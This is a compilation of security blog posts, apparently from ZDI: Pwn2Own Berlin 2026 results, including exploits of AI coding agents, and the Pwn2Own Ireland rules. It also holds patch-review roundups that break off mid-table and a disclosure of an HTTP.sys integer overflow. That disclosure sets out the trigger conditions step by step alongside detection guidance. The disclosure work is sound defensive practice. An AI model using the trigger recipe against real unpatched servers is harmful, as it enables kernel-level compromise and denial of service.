SUCCESS - haehae (@haehaeYang) of Out Of Bounds chained 2 bugs (CWE-190, CWE-362) to exploit Chroma, earning $20,000 and 2 Master of Pwn points.

SUCCESS - Billy (@st424204), Pan Zhenpeng (@Peterpan980927) & Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) chained 5 bugs (incl. SSRF and Code Injection) to exploit LM Studio, earning $40,000 and 4 Master of Pwn points. Full win!

SUCCESS - Marcin Wiązowski used a heap-based buffer overflow to escalate privileges on Microsoft Windows 11 in the second round, earning $15,000 and 3 Master of Pwn points.

WITHDRAWAL - Qrious Secure (@qriousec) has withdrawn their entry for LM Studio in the Local Inference category.

SUCCESS - Chompie of IBM X-Force Offensive Research (XOR) used a race condition to escalate privileges on Red Hat Enterprise Linux for Workstations, earning $20,000 and 2 Master of Pwn points.

COLLISON - Although successful on stage, Nguyen Thanh Dat (@rewhiles) of Viettel Cyber Security (@vcslab) targeting Anthropic Claude Code in the Coding Agent category used a bug that was previously known to the vendor. They still earn $20,000 and 2 Master of Pwn points

SUCCESS - haehae (@haehaeYang) of Out Of Bounds used a Path Traversal bug to exploit NVIDIA Megatron Bridge in the second round, earning $10,000 and 2 Master of Pwn points. Full win!

SUCCESS - Kentaro Kawane of GMO Cybersecurity by Ierae chained 2 Use-After-Free bugs to escalate privileges on Microsoft Windows 11 in the third round, earning $15,000 and 3 Master of Pwn points.

Pwn2Own Berlin 2026: Day Three Results and Master of Pw

Sat, 25 Jul 2026 19:02:54 +0200

Following two days of intense competition, Day Three of Pwn2Own Berlin 2026 brought the curtain down on an incredible event. Security researchers delivered their final exploits, pushing enterprise systems to the limit one last time as the race for Master of Pwn came to a close.

Day Three added to an already historic event, bringing the final totals to $1,298,250 awarded for 47 unique 0-day vulnerabilities across three days of competition. DEVCORE claimed the title of Master of Pwn with a commanding 50.5 points and $505,000 — a dominant performance across all three days. STARLabs SG finished in second with 25 points and $242,500, followed by Out Of Bounds in third with 12.75 points and $95,750.

Congratulations to all the researchers who participated, and a special thank you to OffensiveCon for hosting. We'll see you at the next Pwn2Own.

Here are the results of Day Three:

SUCCESS/COLLISION - Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) used two bugs to exploit Red Hat Linux, but one of the bugs was previously known. He still earns $7,000 and 1.5 Master of Pwn points.

SUCCESS - Le Tran Hai Tung (@tacbliw), dungnm (@dungnm_) and hieuvd (@gr4ss341) of Viettel Cyber Security (@vcslab) used an integer overflow to escalate privileges on #Windows 11. Their 5th round win nets them $7,500 and 3 Master of Pwn points.

SUCCESS - Satoki Tsuji (@satoki00) of Ikotas Labs, Inc. abused an external control to exploit OpenAI Codex and pop a host of calcs. He earns $20,000 and 4 Master of Pwn points.

FAILURE - Unfortunately, Giuseppe Calì of Summoning Team (@SummoningTeam) could not get their exploit of VMware ESXi working within the time allotted.

COLLISON - Although successful on stage, Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller (@compasssecurity) of Compass Security targeted Anthropic Claude Code, hitting a one-vulnerability collision with a previous attempt and earning $20,000 and 2 Master of Pwn points.

SUCCESS - Hyunwoo Kim (@v4bel) chained a use-after-free and uninitialized memory bug to escalate privileges on Red Hat Enterprise Linux for Workstations in the fourth round, earning $5,000 and 2 Master of Pwn points.

SUCCESS - splitline (@splitline) of DEVCORE Research Team chained 2 bugs to exploit Microsoft SharePoint, earning $100,000 and 10 Master of Pwn points.

SUCCESS - Nguyen Hoang Thach (@hi_im_d4rkn3ss) of STARLabs SG (@starlabs_sg) used a Memory Corruption bug to exploit VMware ESXi with the Cross-tenant Code Execution add-on, earning $200,000 and 20 Master of Pwn points.

COLLISON - While Byung Young Yi (@yibarrack) of Out Of Bounds successfully demonstrated their exploit of Anthropic Claude Code, the bug used had been previously disclosed. They still earn $20,000 and 2 Master of Pwn points.

CVE-2026-47291: Remote Code Execution in the Windows HTTP.sys

Sat, 25 Jul 2026 19:02:52 +0200

In this excerpt of a TrendAI Research Services vulnerability report, Yazhi Wang and Jonathan Lein of the TrendAI Research team detail a recently patched remote code execution bug in the Windows HTTP protocol stack. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges. The following is a portion of their write-up covering CVE-2026-47291, with a few minimal modifications.

A remote code execution vulnerability exists in the HTTP Protocol Stack for Microsoft Internet Information Services implemented in HTTP.sys. The vulnerability is due to invalid validating incoming HTTP requests.

A remote, unauthenticated attacker can exploit this vulnerability by sending crafted HTTP packets to the target system. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges.

The Vulnerability

HTTP.sys is the kernel-mode HTTP protocol driver in Microsoft Windows. It provides HTTP request parsing, response caching, and SSL/TLS termination for Internet Information Services (IIS) and other applications that register URL prefixes. The driver listens on configured TCP ports (commonly 80 for HTTP and 443 for HTTPS) and processes inbound HTTP/1.x and HTTP/2 requests at the kernel level.

When operating over HTTPS, HTTP.sys delegates TLS processing to the Windows Secure Channel (SChannel) provider. Inbound TCP data is decrypted on a per-record basis: each TLS record constitutes an independent unit of encryption and is decrypted separately by SChannel before being delivered to HTTP.sys as a distinct plaintext buffer. A single TLS 1.3 application data record has the following structure:

The decrypted payload of each TLS record is delivered independently to the HTTP parser via

UlHttpBufferReceiveEvent(), regardless of how many TLS records the underlying TCP connection coalesces into a single TCP segment. This behavior is distinct from plaintext HTTP connections, where the Windows TCP stack coalesces multiple segments into a single receive indication before the data reaches HTTP.sys.

The HTTP parser maintains a per-request state object that includes a dynamically grown buffer reference array. The capacity field stores the current number of allocated slots in the buffer reference array. The count field stores the number of slots currently in use. The ref_array_ptr field points to the dynamically allocated array of 8-byte buffer reference entries.

An integer overflow vulnerability exists in HTTP.sys. The vulnerability is due to insufficient bounds checking when growing a buffer reference array during HTTP/1.x header parsing. When HTTP.sys receives data for an HTTP/1.x request, it allocates a UL_REQUEST_BUFFER structure for each receive indication and tracks these buffers in the per-request reference array described above. The count field records the number of active buffer references, and the capacity field records the total number of allocated slots.

As the HTTP parser (UlpParseNextRequest()) processes header lines, it calls an inline buffer reference routine each time a new receive buffer is consumed. When count reaches capacity, the routine grows the array by reallocating it with five additional slots. The new allocation size is computed as 0x28 + capacity * 8, the contents of the existing array are copied via memmove using count * 8 as the copy length, and capacity is incremented by 5 as a 16-bit unsigned integer addition. No overflow check is performed on this addition.

After 13,107 growth events, capacity reaches 0xFFFB. The next growth adds 5, producing 0x10000, which truncates to 0x0000 in the 16-bit field. On the subsequent buffer reference addition, count (which is now 65,536 or greater) exceeds the zero capacity, triggering another growth. The allocation size computation 0x28 + 0 * 8 produces a 40-byte allocation, but the memmove copies count * 8 bytes (approximately 524,256 bytes) from the old buffer into the 40-byte allocation. This results in a kernel pool heap buffer overflow of over 500 kilobytes.

Each buffer reference corresponds to one receive buffer delivered to the HTTP parser. For plaintext HTTP connections, the Windows TCP stack coalesces received segments into large indications, and UlpMergeBuffers() further combines buffers within HTTP.sys. Over TLS connections, each TLS record is decrypted independently by SChannel and delivered as a separate buffer through UlHttpBufferReceiveEvent() into UlpCopyIndicatedData(). If each TLS record contains exactly one complete header line (terminated by CRLF), the HTTP parser fully consumes the buffer without setting the partial-parse flag, causing UlpAdjustBuffers() to advance to the next buffer via its non-merge path. This creates a 1:1 correspondence between TLS records sent and buffer references accumulated.

To trigger the overflow, an attacker crafts an HTTP request in which each header line is encapsulated in a separate TLS application data record. Given a minimum header line size of approximately 4 bytes and a required count of 65,536 buffer references, the total request size comes to roughly 262,144 bytes. The MaxRequestBytes registry value (at HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters) must be configured to a value of at least 262,144 bytes for the server to accept a request of this size. The default value of 16,384 bytes limits the request to approximately 4000 header lines, which is insufficient to trigger the overflow. As a mitigation, keeping MaxRequestBytes at or below 65,535 bytes represents the most conservative configuration to prevent this attack.

A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted HTTP/1.x request over a TLS connection to an affected server. Successful exploitation results in unexpected system termination due to a memory access exception in the context of the kernel. Under specific memory layout conditions, exploitation could result in arbitrary code execution in the context of the kernel.

Notes:

• The vulnerability is only reachable through HTTP/1.x header parsing over TLS connections. HTTP/2 and HTTP/3 use different parser paths that do not interact with the buffer reference array.

• Body data parsing (Content-Length or chunked transfer encoding) does not add entries to the buffer reference array. Only header parsing triggers buffer reference growth.

• At a sending rate of 10 milliseconds per TLS record, the overflow requires approximately 11 minutes to trigger.

Source Code Walkthrough

The following code snippet was taken from HTTP.sys version 10.0.26100.7705. Comments added by TrendAI Research have been highlighted.

In UlpParseNextRequest():

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the TCP port 443.

The traffic on the affected port(s) is TLS-encrypted. The detection device must be able to decrypt the TLS traffic before applying the following detection method. The detection device should monitor for HTTPS connections.

An HTTP/1.x request [1] consists of a request line followed by zero or more header field lines, each terminated by CRLF. The following grammar defines the relevant structure:

Decrypted traffic inspection:

After decrypting the TLS session, the detection device must parse the HTTP/1.x request headers. The detection device must count the number of distinct header field lines present in a single HTTP request. If the number of header field lines in a single request exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Encrypted traffic heuristics:

Where decryption is not available, the detection device should inspect the pattern of TLS application data records within the encrypted session. If each TLS application data record contains a single short payload and the total number of such records on a single connection exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Notes:

• The preferred detection method (header line count) requires the ability to decrypt TLS traffic, for example through TLS inspection, a decrypting proxy, or possession of the server's private key. This method directly observes the attack indicator and produces low false-positive and false-negative rates.

• The TLS record heuristic operates on encrypted traffic and does not require decryption. This method is more prone to false positives (legitimate applications that send many small TLS records, such as interactive streaming sessions, may trigger the heuristic) and to false negatives (the threshold is based on observable record sizes rather than the actual header count that determines exploitability). Where possible, decrypted traffic inspection should be preferred.

• The attack requires approximately 11 minutes of sustained connection to accumulate sufficient header lines. Connection duration monitoring may serve as a supplementary detection heuristic.

Conclusion

This vulnerability was patched by Microsoft in the June 2026 release cycle. They note several mitigations that include editing the registry to ensure unpatched systems are not vulnerable to exploitation. However, the best method to ensure this bug has been fully remediated is to test and deploy the vendor-supplied patch.

Special thanks to Yazhi Wang and Jonathan Lein of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

The June 2026 Apple Security Update Review

Sat, 25 Jul 2026 19:02:52 +0200

We’re back with our look at the Apple macOS and iOS security updates. As this is a new feature for us, please let us know your feedback on the blog.

For Jun 2026, Apple released 37 unique CVEs across iOS 26.5.2 / iPadOS 26.5.2, macOS Tahoe 26.5.2, Safari 26.5.2. Since Apple doesn’t provide CVSS scores or other severity information, we’re left to speculate on which of these bugs is the most severe. The overwhelming majority (31 of 37) are WebKit/WebRTC bugs reachable through malicious web content. Most of those are crash/DoS bugs rather than code execution, so the real risk lives in the small set of kernel bugs and the handful of WebKit sandbox escapes. However, there are a couple that stand out.

- CVE-2026-43724 (Kernel) – According to Apple, “An app may be able to cause unexpected system termination or write kernel memory.” A kernel memory write is the highest-value primitive here: it's the privilege-escalation half of a full exploit chain and leads to complete device control. The bug was credited to Hyunwoo Kim (@v4bel), who is known to be a serious kernel researcher.

- CVE-2026-39868 (Kernel) – Another kernel bug, this one could “cause unexpected system termination or corrupt kernel memory.” This is kernel memory corruption, and notably credited to a roster of elite offensive researchers (STAR Labs, Positive Technologies, Baidu Security). This kind of attribution usually signals a weaponizable, possibly Pwn2Own-grade bug rather than a theoretical crash.

- CVE-2026-43725 / CVE-2026-43701 (WebKit) – Apple states these bugs could allow a website to process restricted web content outside the sandbox. I'm flagging this sandbox-escape pair over the many WebKit crash bugs because a sandbox escape is the bridge that turns a web-content bug into a path toward the kernel issues above. It's the most dangerous remotely-triggered class in the release.

Here’s a look at all the bugs released by Apple this month:

Apple Security Update – June 29, 2026 37Total CVEs 22Denial of Service 7Information Disclosure 3Memory Corruption 2Elevation of Privilege 2Sandbox Escape 1Spoofing

Apple security release — June 29, 2026. "Yes/No" indicates whether each update is affected. CVE IDs link to NVD.
CVE ID	Component	Impact	iOS 26.5.2 / iPadOS 26.5.2	macOS Tahoe 26.5.2	Safari 26.5.2
CVE-2026-43743	IOGPUFamily	An app may be able to cause unexpected system termination	Yes	Yes	No
CVE-2026-39868	Kernel	An app may be able to cause unexpected system termination or corrupt kernel memory	Yes	Yes	No
CVE-2026-43722	Kernel	An app may be able to leak sensitive kernel state	Yes	Yes	No
CVE-2026-43724	Kernel	An app may be able to cause unexpected system termination or write kernel memory	Yes	Yes	No
CVE-2026-43703	libxslt	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	No
CVE-2026-43706	libxslt	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	No
CVE-2026-43704	Web Extensions	A malicious web extension may be able to cause an unexpected process crash	Yes	Yes	Yes
CVE-2026-39872	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43663	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43676	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43699	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43700	WebKit	Processing maliciously crafted web content may disclose sensitive user information	Yes	Yes	Yes
CVE-2026-43701	WebKit	A malicious website may be able to process restricted web content outside the sandbox	Yes	Yes	Yes
CVE-2026-43705	WebKit	Processing maliciously crafted web content may lead to memory corruption	Yes	Yes	Yes
CVE-2026-43707	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43708	WebKit	A malicious website may exfiltrate data cross-origin	Yes	Yes	Yes
CVE-2026-43709	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43712	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43713	WebKit	Visiting a website may leak sensitive data	Yes	Yes	Yes
CVE-2026-43715	WebKit	Processing maliciously crafted web content may lead to memory corruption	Yes	Yes	Yes
CVE-2026-43716	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43725	WebKit	A malicious website may be able to process restricted web content outside the sandbox	Yes	Yes	Yes
CVE-2026-43726	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43727	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43731	WebKit	Processing maliciously crafted web content may lead to memory corruption	Yes	Yes	Yes
CVE-2026-43732	WebKit	Processing maliciously crafted web content may disclose sensitive user information	Yes	Yes	Yes
CVE-2026-43734	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43735	WebKit	A malicious website may exfiltrate data cross-origin	Yes	Yes	Yes
CVE-2026-43740	WebKit	Processing maliciously crafted web content may result in the disclosure of process memory	Yes	Yes	Yes
CVE-2026-43742	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43745	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43720	WebKit Canvas	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43721	WebKit Storage	A malicious website may be able to silently hijack clipboard data	Yes	Yes	Yes
CVE-2026-28979	WebRTC	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43717	WebRTC	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43718	WebRTC	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43746	WebRTC	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes

We’ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.

Pwn2Own Ireland 2026 – New Targets and Categories

Sat, 25 Jul 2026 19:02:51 +0200

If you just want to read the rules, you can find them here.

Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random banshee), we had an amazing event, even if we did end up in a jail at the end. With that in mind, we’re excited to return to Cork this fall for yet another great Pwn2Own event. We’ll also be returning to some of the great pubs Ireland has to offer in the evenings and wrapping the event up at a special location (stay tuned for that announcement).

As for the contest itself, it will run from October 6-9, 2026. As always, we’ll have a random drawing to determine the schedule of attempts on the first day of the contest, and we will proceed from there. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2026. There are no exceptions for late entries, so if you have questions, please contact us at pwn2own@trendmicro.com (note the address). We will be happy to address your issues or concerns directly.

Due to the overwhelming amount of registrations and last-minute entries for our Pwn2Own Berlin event, we’re changing who can enter the contest a bit to ensure it’s fair for all researchers. To enter, you must have received an aggregate bounty payment totaling at least $15,000 during their life-time participation in ZDI. This includes past Pwn2Own events and our regular bug bounty program. We recognize there may be some who haven’t participated in the past with great exploits to demonstrate, so we will also accept up to 10 new contestants at our discretion. We’re capping the number of entries to 80 this year. Once we have 80 qualifying entries, we will close registration. That means if you want to enter, it is in your best interest to contact us sooner rather than later. Please read the rules thoroughly to ensure you meet all the requirements.

Now on to this year’s target categories. We’ll have seven different categories for this year’s event:

-- Mobile Phones
-- Smart Home Devices
-- Wellness
-- Printers
-- Messaging
-- AI Infrastructure
-- AI Coding Agents

Let’s take a look at each category in more detail, starting with mobile phones.

The Target Phones

Back in Amsterdam where this contest originated, it was originally dubbed “Mobile Pwn2Own” and our focus was strictly on phones. Mobile handsets remain at the heart of this event, and some of the Samsung entries from last year were absolutely smashing. As always, these phones will be running the latest version of their respective operating systems with all available updates installed. Last year we also introduced the USB attack vector, but no one submitted an entry for it. We’ll see if that changes this year.

Otherwise, contestants must compromise the device by browsing to content in the default browser for the target under test or by communicating with the following short-distance protocols: near field communication (NFC), Wi-Fi, or Bluetooth. The awards for this category are:

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Smart Home Devices

As you might have noticed, we have eliminated most of the consumer-related devices from this year’s event. However, there are still a few “pro-sumer” devices that still could have an impact on enterprises, and the first of these categories are the devices that control other devices and services. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

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Wellness Category

This is one of the new categories this year and our first foray into the world of healthcare devices. However, we don’t intend to make this too easy. Entries that require physically pressing any button on the target, or the use of any information, code or PIN printed on the device, are out of scope. Entries that require the contestant to be paired to the target prior to the start of the attempt are not in scope. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

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Rage Against the Printers

Printers have long been the source of jokes and memes, but they are also an often overlooked attack surface in your office. The printer category always produces some interesting results, often by playing music it shouldn’t or the occasional Rick Roll. We’ve reduced the number of targets in this category this year, but we still expect to see some interesting exploits in these oft unheralded targets.

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The Messaging Category

We introduced WhatsApp as a target last year and came close to seeing a functioning exploit. Sadly, that didn’t happen. However, WhatsApp is used by more than three billion people globally, and some of the messages transmitted can be quite sensitive. That’s why we are bringing it back and hoping for some better results. We know the bugs are out there. We’re just hoping the right researcher decides to show us an exploit that leads to code execution. All of the target handset will be available as clients. Here’s the full prize list for Messaging category:

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AI Infrastructure Category

We introduced these targets at Pwn2Own Berlin, and we saw such…uh…enthusiasm from the community that we decided to immediately bring them back for our Ireland event. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Infrastructure category:

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AI Coding Agent Category

Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a recently updated category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:

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Master of Pwn

No Pwn2Own contest would be complete without crowning a Master of Pwn, which signifies the overall winner of the competition. Earning the title results in a slick trophy, a different sort of wearable, and brings with it an additional 65,000 ZDI reward points (instant Platinum status in 2027).

For those not familiar with how it works, points are accumulated for each successful attempt. While only the first demonstration in a category wins the full cash award, each successful entry claims the full number of Master of Pwn points. Since the order of attempts is determined by a random draw, those who receive later slots can still claim the Master of Pwn title – even if they earn a lower cash payout. As with previous contests, there are penalties for withdrawing from an attempt once you register for it. If the contestant decides to remove an Add-on Bonus during their attempt, the Master of Pwn points for that Add-on Bonus will be deducted from the final point total for that attempt. For example, someone registers for the Apple iPhone 15 with the Kernel Bonus Add-on. During the attempt, the contestant drops the Kernel Bonus Add-on but completes the attempt. The final point total will be 20 Master of Pwn points.

The Complete Details

The full set of rules for Pwn2Own Ireland 2026 can be found here. They may be changed at any time without notice. We highly encourage potential entrants to read the rules thoroughly and completely should they choose to participate. We also encourage contestants to read this blog covering what to expect when participating in Pwn2Own.

Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. (Email only, please; queries via social media, blog post, or other means will not be acknowledged or answered.) If we receive more than one registration for any category, we’ll hold a random drawing to determine the contest order. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2025.

The Results

We’ll be blogging and tweeting results in real-time throughout the competition. Be sure to keep an eye on the blog for the latest information. Follow us on Twitter at @thezdi and @trendaisecurity, and keep an eye on the #P2OIreland hashtag for continuing coverage.

We look forward to seeing everyone in Cork, and we look forward to seeing what new exploits and attack techniques they bring with them.

©2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

The July 2026 Security Update Review

Sat, 25 Jul 2026 19:02:51 +0200

Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for July 2026

Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.

For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.

Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-82	Adobe ColdFusion	13	Critical	9.9	No	1
APSB26-73	Adobe Commerce	13	Critical	9.6	No	2
APSB26-78	Adobe After Effects	3	Critical	7.8	No	3
APSB26-83	Adobe Animate	6	Critical	8.6	No	3
APSB26-71	Adobe Audition	6	Critical	7.8	No	3
APSB26-81	Adobe Bridge	6	Critical	7.8	No	3
APSB26-77	Adobe Creative Cloud Desktop Application	2	Critical	8.1	No	3
APSB26-74	Adobe Experience Manager	13	Critical	9.6	No	3
APSB26-79	Adobe Illustrator	5	Critical	9.3	No	3
APSB26-72	Adobe Media Encoder	5	Critical	7.8	No	3
APSB26-76	Adobe Premiere Pro	4	Critical	7.8	No	3
APSB26-80	Content Credentials SDK	12	Critical	8.2	No	3
TOTAL	12 bulletins	88

While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here.

Microsoft Patches for July 2026

Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.

The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.

So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.

- CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege Vulnerability
This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.

- CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege Vulnerability
The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.

- CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability
This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.

- CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution Vulnerability
This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly.

- CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability
This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there.

- CVE-2026-55008 - Microsoft Exchange Server Spoofing Vulnerability
Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.

- CVE-2026-50518 - Windows DHCP Server Remote Code Execution Vulnerability
There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.

- CVE-2026-56188 - Windows Server Network driver Remote Code Execution Vulnerability
Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.

- CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability
File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.

Here’s the full list of CVEs released by Microsoft for July 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-56155	Active Directory Federation Services Elevation of Privilege Vulnerability	Important	7.8	No	Yes	EoP
CVE-2026-56164	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Moderate	5.3	No	Yes	EoP
CVE-2026-50661	Windows BitLocker Security Feature Bypass Vulnerability	Important	6.1	Yes	No	SFB
CVE-2026-54121	Active Directory Certificate Services Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-45499 **	Azure OpenAI Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-48564	DHCP Server Service Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-50370	DHCP Server Service Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-56159	DHCP Server Service Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50382	DirectX Graphics Kernel Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-41106 **	Microsoft 365 Copilot Elevation of Privilege Vulnerability	Critical	9.3	No	No	EoP
CVE-2026-26145 **	Microsoft Azure Synapse Elevation of Privilege Vulnerability	Critical	4.8	No	No	EoP
